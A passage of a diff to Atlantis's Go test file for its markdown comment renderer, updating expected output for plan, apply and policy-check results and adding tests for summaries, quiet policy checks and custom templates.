RepoRelDir: "path", @@ -439,11 +922,13 @@ $$$ }, }, models.Github, - `Ran Plan for 3 projects: + ` +Ran Plan for 3 projects: 1. dir: $path$ workspace: $workspace$ 1. dir: $path2$ workspace: $workspace$ 1. project: $projectname$ dir: $path3$ workspace: $workspace$ +--- ### 1. dir: $path$ workspace: $workspace$ $$$diff @@ -451,10 +936,14 @@ terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: - * $atlantis apply -d path -w workspace$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) + $$$shell + atlantis apply -d path -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: - * $atlantis plan -d path -w workspace$ + $$$shell + atlantis plan -d path -w workspace + $$$ --- ### 2. dir: $path2$ workspace: $workspace$ @@ -468,16 +957,140 @@ error $$$ --- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * $atlantis apply$ -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * $atlantis unlock$ +### Plan Summary + +3 projects, 1 with changes, 0 with no changes, 2 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + { + "successful, failed, and errored policy check", + command.PolicyCheck, + "", + []command.ProjectResult{ + { + Workspace: "workspace", + RepoRelDir: "path", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + PolicyOutput: "4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions", + Passed: true, + }, + }, LockURL: "lock-url", + ApplyCmd: "atlantis apply -d path -w workspace", + RePlanCmd: "atlantis plan -d path -w workspace", + }, + }, + { + Workspace: "workspace", + RepoRelDir: "path2", + Failure: "failure", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + PolicyOutput: "4 tests, 2 passed, 0 warnings, 2 failures, 0 exceptions", + Passed: false, + ReqApprovals: 1, + }, + }, LockURL: "lock-url", + ApplyCmd: "atlantis apply -d path -w workspace", + RePlanCmd: "atlantis plan -d path -w workspace", + }, + }, + { + Workspace: "workspace", + RepoRelDir: "path3", + ProjectName: "projectname", + Error: errors.New("error"), + }, + }, + models.Github, + ` +Ran Policy Check for 3 projects: + +1. dir: $path$ workspace: $workspace$ +1. dir: $path2$ workspace: $workspace$ +1. project: $projectname$ dir: $path3$ workspace: $workspace$ +--- + +### 1. dir: $path$ workspace: $workspace$ +#### Policy Set: $policy1$ +$$$diff +4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions +$$$ + + +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + $$$shell + atlantis plan -d path -w workspace + $$$ + +--- +### 2. dir: $path2$ workspace: $workspace$ +**Policy Check Failed**: failure +#### Policy Set: $policy1$ +$$$diff +4 tests, 2 passed, 0 warnings, 2 failures, 0 exceptions +$$$ + + +#### Policy Approval Status: +$$$ +policy set: policy1: requires: 1 approval(s), have: 0. +$$$ +* :heavy_check_mark: To **approve** this project, comment: + $$$shell + + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + $$$shell + atlantis plan -d path -w workspace + $$$ + +--- +### 3. project: $projectname$ dir: $path3$ workspace: $workspace$ +**Policy Check Error** +$$$ +error +$$$ + +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis approve_policies + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +* :repeat: To re-run policies **plan** this project again by commenting: + $$$shell + atlantis plan + $$$ `, }, { "successful, failed, and errored apply", - models.ApplyCommand, - []models.ProjectResult{ + command.Apply, + "", + []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", @@ -495,11 +1108,13 @@ $$$ }, }, models.Github, - `Ran Apply for 3 projects: + ` +Ran Apply for 3 projects: 1. dir: $path$ workspace: $workspace$ 1. dir: $path2$ workspace: $workspace$ 1. dir: $path3$ workspace: $workspace$ +--- ### 1. dir: $path$ workspace: $workspace$ $$$diff @@ -518,13 +1133,16 @@ error $$$ --- +### Apply Summary +3 projects, 1 successful, 1 failed, 1 errored `, }, { "successful, failed, and errored apply", - models.ApplyCommand, - []models.ProjectResult{ + command.Apply, + "", + []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", @@ -542,11 +1160,13 @@ $$$ }, }, models.Github, - `Ran Apply for 3 projects: + ` +Ran Apply for 3 projects: 1. dir: $path$ workspace: $workspace$ 1. dir: $path2$ workspace: $workspace$ 1. dir: $path3$ workspace: $workspace$ +--- ### 1. dir: $path$ workspace: $workspace$ $$$diff @@ -565,25 +1185,57 @@ error $$$ --- +### Apply Summary +3 projects, 1 successful, 1 failed, 1 errored `, }, } - r := events.MarkdownRenderer{} + r := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: models.Github, + }, + }, + }, + } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { - res := events.CommandResult{ + res := command.Result{ ProjectResults: c.ProjectResults, } for _, verbose := range []bool{true, false} { t.Run(c.Description, func(t *testing.T) { - s := r.Render(res, c.Command, "log", verbose, c.VCSHost) - expWithBackticks := strings.Replace(c.Expected, "$", "`", -1) + cmd := &events.CommentCommand{ + Name: c.Command, + SubName: c.SubCommand, + Verbose: verbose, + } + s := r.Render(ctx, res, cmd) if !verbose { - Equals(t, expWithBackticks, s) + Equals(t, normalize(c.Expected), normalize(s)) } else { - Equals(t, expWithBackticks+"
Log\n

\n\n```\nlog```\n

\n", s) + log := fmt.Sprintf("[INFO] %s", logText) + Equals(t, normalize(c.Expected+ + fmt.Sprintf("
Log\n

\n\n```\n%s\n```\n

", log)), normalize(s)) } }) } @@ -591,56 +1243,111 @@ $$$ } } -// Test that if disable apply all is set then the apply all footer is not added -func TestRenderProjectResultsDisableApplyAll(t *testing.T) { +func TestRenderProjectResultsWithQuietPolicyChecks(t *testing.T) { cases := []struct { Description string - Command models.CommandName - ProjectResults []models.ProjectResult + Command command.Name + SubCommand string + ProjectResults []command.ProjectResult VCSHost models.VCSHostType Expected string }{ { - "single successful plan with disable apply all set", - models.PlanCommand, - []models.ProjectResult{ + "single successful policy check with multiple policy sets and project name", + command.PolicyCheck, + "", + []command.ProjectResult{ { - PlanSuccess: &models.PlanSuccess{ - TerraformOutput: "terraform-output", - LockURL: "lock-url", - RePlanCmd: "atlantis plan -d path -w workspace", - ApplyCmd: "atlantis apply -d path -w workspace", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + PolicyOutput: `FAIL - - main - WARNING: Null Resource creation is prohibited. + +2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions`, + Passed: false, + ReqApprovals: 1, + }, + { + PolicySetName: "policy2", + PolicyOutput: "2 tests, 2 passed, 0 warnings, 0 failure, 0 exceptions", + Passed: true, + ReqApprovals: 1, + }, + }, + LockURL: "lock-url", + RePlanCmd: "atlantis plan -d path -w workspace", + ApplyCmd: "atlantis apply -d path -w workspace", }, - Workspace: "workspace", - RepoRelDir: "path", + Workspace: "workspace", + RepoRelDir: "path", + ProjectName: "projectname", }, }, models.Github, - `Ran Plan for dir: $path$ workspace: $workspace$ + ` +Ran Policy Check for project: $projectname$ dir: $path$ workspace: $workspace$ +#### Policy Set: $policy1$ $$$diff -terraform-output +FAIL - - main - WARNING: Null Resource creation is prohibited. + +2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions +$$$ + +#### Policy Set: $policy2$ +$$$diff +2 tests, 2 passed, 0 warnings, 0 failure, 0 exceptions $$$ -* :arrow_forward: To **apply** this plan, comment: - * $atlantis apply -d path -w workspace$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * $atlantis plan -d path -w workspace$ +#### Policy Approval Status: +$$$ +policy set: policy1: requires: 1 approval(s), have: 0. +policy set: policy2: passed. +$$$ +* :heavy_check_mark: To **approve** this project, comment: + $$$shell + + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + $$$shell + atlantis plan -d path -w workspace + $$$ +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ `, }, { - "single successful plan with project name with disable apply all set", - models.PlanCommand, - []models.ProjectResult{ + "single successful policy check with project name", + command.PolicyCheck, + "", + []command.ProjectResult{ { - PlanSuccess: &models.PlanSuccess{ - TerraformOutput: "terraform-output", - LockURL: "lock-url", - RePlanCmd: "atlantis plan -d path -w workspace", - ApplyCmd: "atlantis apply -d path -w workspace", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + // strings.Repeat require to get wrapped result + PolicyOutput: strings.Repeat("line\n", 13) + `FAIL - - main - WARNING: Null Resource creation is prohibited. + +2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions`, + Passed: false, + ReqApprovals: 1, + }, + }, + LockURL: "lock-url", + RePlanCmd: "atlantis plan -d path -w workspace", + ApplyCmd: "atlantis apply -d path -w workspace", }, Workspace: "workspace", RepoRelDir: "path", @@ -648,25 +1355,350 @@ $$$ }, }, models.Github, - `Ran Plan for project: $projectname$ dir: $path$ workspace: $workspace$ + ` +Ran Policy Check for project: $projectname$ dir: $path$ workspace: $workspace$ -$$$diff +
Show Output + +#### Policy Set: $policy1$ +$$$diff +line +line +line +line +line +line +line +line +line +line +line +line +line +FAIL - - main - WARNING: Null Resource creation is prohibited. + +2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions +$$$ + + +
+ +#### Policy Approval Status: +$$$ +policy set: policy1: requires: 1 approval(s), have: 0. +$$$ +* :heavy_check_mark: To **approve** this project, comment: + $$$shell + + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + $$$shell + atlantis plan -d path -w workspace + $$$ +$$$ +policy set: policy1: 2 tests, 1 passed, 0 warnings, 1 failure, 0 exceptions +$$$ + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + { + "multiple successful policy checks", + command.PolicyCheck, + "", + []command.ProjectResult{ + { + Workspace: "workspace", + RepoRelDir: "path", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + PolicyOutput: "4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions", + Passed: true, + }, + }, + LockURL: "lock-url", + ApplyCmd: "atlantis apply -d path -w workspace", + RePlanCmd: "atlantis plan -d path -w workspace", + }, + }, + { + Workspace: "workspace", + RepoRelDir: "path2", + ProjectName: "projectname", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + PolicyOutput: "4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions", + Passed: true, + }, + }, LockURL: "lock-url2", + ApplyCmd: "atlantis apply -d path2 -w workspace", + RePlanCmd: "atlantis plan -d path2 -w workspace", + }, + }, + }, + models.Github, + ` +Ran Policy Check for 2 projects: + +1. dir: $path$ workspace: $workspace$ +1. project: $projectname$ dir: $path2$ workspace: $workspace$ +--- + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis apply + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +`, + }, + { + "successful, failed, and errored policy check", + command.PolicyCheck, + "", + []command.ProjectResult{ + { + Workspace: "workspace", + RepoRelDir: "path", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + PolicyOutput: "4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions", + Passed: true, + }, + }, LockURL: "lock-url", + ApplyCmd: "atlantis apply -d path -w workspace", + RePlanCmd: "atlantis plan -d path -w workspace", + }, + }, + { + Workspace: "workspace", + RepoRelDir: "path2", + Failure: "failure", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + PolicyOutput: "4 tests, 2 passed, 0 warnings, 2 failures, 0 exceptions", + Passed: false, + ReqApprovals: 1, + }, + }, LockURL: "lock-url", + ApplyCmd: "atlantis apply -d path -w workspace", + RePlanCmd: "atlantis plan -d path -w workspace", + }, + }, + { + Workspace: "workspace", + RepoRelDir: "path3", + ProjectName: "projectname", + Error: errors.New("error"), + }, + }, + models.Github, + ` +Ran Policy Check for 3 projects: + +1. dir: $path$ workspace: $workspace$ +1. dir: $path2$ workspace: $workspace$ +1. project: $projectname$ dir: $path3$ workspace: $workspace$ +--- + +### 2. dir: $path2$ workspace: $workspace$ +**Policy Check Failed**: failure +#### Policy Set: $policy1$ +$$$diff +4 tests, 2 passed, 0 warnings, 2 failures, 0 exceptions +$$$ + + +#### Policy Approval Status: +$$$ +policy set: policy1: requires: 1 approval(s), have: 0. +$$$ +* :heavy_check_mark: To **approve** this project, comment: + $$$shell + + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + $$$shell + atlantis plan -d path -w workspace + $$$ + +--- +### 3. project: $projectname$ dir: $path3$ workspace: $workspace$ +**Policy Check Error** +$$$ +error +$$$ + +--- +* :heavy_check_mark: To **approve** all unapplied plans from this Pull Request, comment: + $$$shell + atlantis approve_policies + $$$ +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + $$$shell + atlantis unlock + $$$ +* :repeat: To re-run policies **plan** this project again by commenting: + $$$shell + atlantis plan + $$$ +`, + }, + } + + r := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + true, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: models.Github, + }, + }, + }, + } + for _, c := range cases { + t.Run(c.Description, func(t *testing.T) { + res := command.Result{ + ProjectResults: c.ProjectResults, + } + for _, verbose := range []bool{true, false} { + t.Run(c.Description, func(t *testing.T) { + cmd := &events.CommentCommand{ + Name: c.Command, + SubName: c.SubCommand, + Verbose: verbose, + } + s := r.Render(ctx, res, cmd) + if !verbose { + Equals(t, normalize(c.Expected), normalize(s)) + } else { + log := fmt.Sprintf("[INFO] %s", logText) + Equals(t, normalize(c.Expected+ + fmt.Sprintf("
Log\n

\n\n```\n%s\n```\n

", log)), normalize(s)) + } + }) + } + }) + } +} + +// Test that if disable apply all is set then the apply all footer is not added +func TestRenderProjectResultsDisableApplyAll(t *testing.T) { + cases := []struct { + Description string + Command command.Name + ProjectResults []command.ProjectResult + VCSHost models.VCSHostType + Expected string + }{ + { + "single successful plan with disable apply all set", + command.Plan, + []command.ProjectResult{ + { + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "terraform-output", + LockURL: "lock-url", + RePlanCmd: "atlantis plan -d path -w workspace", + ApplyCmd: "atlantis apply -d path -w workspace", + }, + Workspace: "workspace", + RepoRelDir: "path", + }, + }, + models.Github, + ` +Ran Plan for dir: $path$ workspace: $workspace$ + +$$$diff terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: - * $atlantis apply -d path -w workspace$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) + $$$shell + atlantis apply -d path -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: - * $atlantis plan -d path -w workspace$ + $$$shell + atlantis plan -d path -w workspace + $$$ +`, + }, + { + "single successful plan with project name with disable apply all set", + command.Plan, + []command.ProjectResult{ + { + PlanSuccess: &models.PlanSuccess{ + TerraformOutput: "terraform-output", + LockURL: "lock-url", + RePlanCmd: "atlantis plan -d path -w workspace", + ApplyCmd: "atlantis apply -d path -w workspace", + }, + Workspace: "workspace", + RepoRelDir: "path", + ProjectName: "projectname", + }, + }, + models.Github, + ` +Ran Plan for project: $projectname$ dir: $path$ workspace: $workspace$ +$$$diff +terraform-output +$$$ +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + $$$shell + atlantis plan -d path -w workspace + $$$ `, }, { "multiple successful plans, disable apply all set", - models.PlanCommand, - []models.ProjectResult{ + command.Plan, + []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", @@ -690,10 +1722,12 @@ $$$ }, }, models.Github, - `Ran Plan for 2 projects: + ` +Ran Plan for 2 projects: 1. dir: $path$ workspace: $workspace$ 1. project: $projectname$ dir: $path2$ workspace: $workspace$ +--- ### 1. dir: $path$ workspace: $workspace$ $$$diff @@ -701,42 +1735,81 @@ terraform-output $$$ * :arrow_forward: To **apply** this plan, comment: - * $atlantis apply -d path -w workspace$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) + $$$shell + atlantis apply -d path -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: - * $atlantis plan -d path -w workspace$ + $$$shell + atlantis plan -d path -w workspace + $$$ +--- ### 2. project: $projectname$ dir: $path2$ workspace: $workspace$ $$$diff terraform-output2 $$$ * :arrow_forward: To **apply** this plan, comment: - * $atlantis apply -d path2 -w workspace$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url2) + $$$shell + atlantis apply -d path2 -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url2) * :repeat: To **plan** this project again, comment: - * $atlantis plan -d path2 -w workspace$ + $$$shell + atlantis plan -d path2 -w workspace + $$$ +--- +### Plan Summary +2 projects, 2 with changes, 0 with no changes, 0 failed `, }, } - r := events.MarkdownRenderer{ - DisableApplyAll: true, + r := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + true, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: models.Github, + }, + }, + }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { - res := events.CommandResult{ + res := command.Result{ ProjectResults: c.ProjectResults, } for _, verbose := range []bool{true, false} { t.Run(c.Description, func(t *testing.T) { - s := r.Render(res, c.Command, "log", verbose, c.VCSHost) - expWithBackticks := strings.Replace(c.Expected, "$", "`", -1) + cmd := &events.CommentCommand{ + Name: c.Command, + Verbose: verbose, + } + s := r.Render(ctx, res, cmd) if !verbose { - Equals(t, expWithBackticks, s) + Equals(t, normalize(c.Expected), normalize(s)) } else { - Equals(t, expWithBackticks+"
Log\n

\n\n```\nlog```\n

\n", s) + log := fmt.Sprintf("[INFO] %s", logText) + Equals(t, normalize(c.Expected)+ + fmt.Sprintf("\n
Log\n

\n\n```\n%s\n```\n

", log), normalize(s)) } }) } @@ -744,19 +1817,19 @@ $$$ } } -// Test that if disable apply is set then the apply footer is not added +// Test that if disable apply is set then the apply footer is not added func TestRenderProjectResultsDisableApply(t *testing.T) { cases := []struct { Description string - Command models.CommandName - ProjectResults []models.ProjectResult + Command command.Name + ProjectResults []command.ProjectResult VCSHost models.VCSHostType Expected string }{ { "single successful plan with disable apply set", - models.PlanCommand, - []models.ProjectResult{ + command.Plan, + []command.ProjectResult{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", @@ -769,23 +1842,24 @@ func TestRenderProjectResultsDisableApply(t *testing.T) { }, }, models.Github, - `Ran Plan for dir: $path$ workspace: $workspace$ + ` +Ran Plan for dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: - * $atlantis plan -d path -w workspace$ - - + $$$shell + atlantis plan -d path -w workspace + $$$ `, }, { "single successful plan with project name with disable apply set", - models.PlanCommand, - []models.ProjectResult{ + command.Plan, + []command.ProjectResult{ { PlanSuccess: &models.PlanSuccess{ TerraformOutput: "terraform-output", @@ -799,23 +1873,24 @@ $$$ }, }, models.Github, - `Ran Plan for project: $projectname$ dir: $path$ workspace: $workspace$ + ` +Ran Plan for project: $projectname$ dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: - * $atlantis plan -d path -w workspace$ - - + $$$shell + atlantis plan -d path -w workspace + $$$ `, }, { "multiple successful plans, disable apply set", - models.PlanCommand, - []models.ProjectResult{ + command.Plan, + []command.ProjectResult{ { Workspace: "workspace", RepoRelDir: "path", @@ -839,50 +1914,87 @@ $$$ }, }, models.Github, - `Ran Plan for 2 projects: + ` +Ran Plan for 2 projects: 1. dir: $path$ workspace: $workspace$ 1. project: $projectname$ dir: $path2$ workspace: $workspace$ +--- ### 1. dir: $path$ workspace: $workspace$ $$$diff terraform-output $$$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) * :repeat: To **plan** this project again, comment: - * $atlantis plan -d path -w workspace$ + $$$shell + atlantis plan -d path -w workspace + $$$ +--- ### 2. project: $projectname$ dir: $path2$ workspace: $workspace$ $$$diff terraform-output2 $$$ -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url2) +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url2) * :repeat: To **plan** this project again, comment: - * $atlantis plan -d path2 -w workspace$ + $$$shell + atlantis plan -d path2 -w workspace + $$$ +--- +### Plan Summary +2 projects, 2 with changes, 0 with no changes, 0 failed `, }, } - r := events.MarkdownRenderer{ - DisableApplyAll: true, - DisableApply: true, + + r := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + true, // disableApplyAll + true, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: models.Github, + }, + }, + }, } for _, c := range cases { t.Run(c.Description, func(t *testing.T) { - res := events.CommandResult{ + res := command.Result{ ProjectResults: c.ProjectResults, } for _, verbose := range []bool{true, false} { t.Run(c.Description, func(t *testing.T) { - s := r.Render(res, c.Command, "log", verbose, c.VCSHost) - expWithBackticks := strings.Replace(c.Expected, "$", "`", -1) + cmd := &events.CommentCommand{ + Name: c.Command, + Verbose: verbose, + } + s := r.Render(ctx, res, cmd) if !verbose { - Equals(t, expWithBackticks, s) + Equals(t, normalize(c.Expected), normalize(s)) } else { - Equals(t, expWithBackticks+"
Log\n

\n\n```\nlog```\n

\n", s) + log := fmt.Sprintf("[INFO] %s", logText) + Equals(t, normalize(c.Expected)+ + fmt.Sprintf("\n
Log\n

\n\n```\n%s\n```\n

", log), normalize(s)) } }) } @@ -890,22 +2002,130 @@ $$$ } } +// Run policy check with a custom template to validate custom template rendering. +func TestRenderCustomPolicyCheckTemplate_DisableApplyAll(t *testing.T) { + var exp string + tmpDir := t.TempDir() + filePath := fmt.Sprintf("%s/templates.tmpl", tmpDir) + _, err := os.Create(filePath) + Ok(t, err) + err = os.WriteFile(filePath, []byte("{{ define \"PolicyCheckResultsUnwrapped\" -}}somecustometext{{- end}}\n"), 0600) + Ok(t, err) + r := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + true, // disableApplyAll + true, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + tmpDir, // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: models.Github, + }, + }, + }, + } + + res := command.Result{ + ProjectResults: []command.ProjectResult{ + { + Workspace: "workspace", + RepoRelDir: "path", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + PolicyOutput: "4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions", + Passed: true, + }, + }, LockURL: "lock-url", + ApplyCmd: "atlantis apply -d path -w workspace", + RePlanCmd: "atlantis plan -d path -w workspace", + }, + }, + }, + } + cmd := &events.CommentCommand{ + Name: command.PolicyCheck, + Verbose: false, + } + rendered := r.Render(ctx, res, cmd) + exp = ` +Ran Policy Check for dir: $path$ workspace: $workspace$ + +#### Policy Set: $policy1$ +$$$diff +4 tests, 4 passed, 0 warnings, 0 failures, 0 exceptions +$$$ + + +* :arrow_forward: To **apply** this plan, comment: + $$$shell + atlantis apply -d path -w workspace + $$$ +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To re-run policies **plan** this project again by commenting: + $$$shell + atlantis plan -d path -w workspace + $$$ +` + + Equals(t, normalize(exp), normalize(rendered)) +} + // Test that if folding is disabled that it's not used. func TestRenderProjectResults_DisableFolding(t *testing.T) { - mr := events.MarkdownRenderer{ - DisableMarkdownFolding: true, + mr := events.NewMarkdownRenderer( + false, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + true, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: models.Github, + }, + }, + }, } - - rendered := mr.Render(events.CommandResult{ - ProjectResults: []models.ProjectResult{ + res := command.Result{ + ProjectResults: []command.ProjectResult{ { RepoRelDir: ".", Workspace: "default", Error: errors.New(strings.Repeat("line\n", 13)), }, }, - }, models.PlanCommand, "log", false, models.Github) - Equals(t, false, strings.Contains(rendered, "
")) + } + cmd := &events.CommentCommand{ + Name: command.Plan, + Verbose: false, + } + rendered := mr.Render(ctx, res, cmd) + Equals(t, false, strings.Contains(rendered, "\n
")) } // Test that if the output is longer than 12 lines, it gets wrapped on the right @@ -976,22 +2196,49 @@ func TestRenderProjectResults_WrappedErr(t *testing.T) { for _, c := range cases { t.Run(fmt.Sprintf("%s_%v", c.VCSHost.String(), c.ShouldWrap), func(t *testing.T) { - mr := events.MarkdownRenderer{ - GitlabSupportsCommonMark: c.GitlabCommonMarkSupport, + mr := events.NewMarkdownRenderer( + c.GitlabCommonMarkSupport, // gitlabSupportsCommonMark + false, // disableApplyAll + false, // disableApply + false, // disableMarkdownFolding + false, // disableRepoLocking + false, // enableDiffMarkdownFormat + "", // markdownTemplateOverridesDir + "atlantis", // executableName + false, // hideUnchangedPlanComments + false, // quietPolicyChecks + ) + logger := logging.NewNoopLogger(t).WithHistory() + logText := "log" + logger.Info(logText) + ctx := &command.Context{ + Log: logger, + Pull: models.PullRequest{ + BaseRepo: models.Repo{ + VCSHost: models.VCSHost{ + Type: c.VCSHost, + }, + }, + }, } - - rendered := mr.Render(events.CommandResult{ - ProjectResults: []models.ProjectResult{ + res := command.Result{ + ProjectResults: []command.ProjectResult{ { RepoRelDir: ".", Workspace: "default", Error: errors.New(c.Output), }, }, - }, models.PlanCommand, "log", false, c.VCSHost) + } + cmd := &events.CommentCommand{ + Name: command.Plan, + Verbose: false, + } + rendered := mr.Render(ctx, res, cmd) var exp string if c.ShouldWrap { - exp = `Ran Plan for dir: $.$ workspace: $default$ + exp = ` +Ran Plan for dir: $.$ workspace: 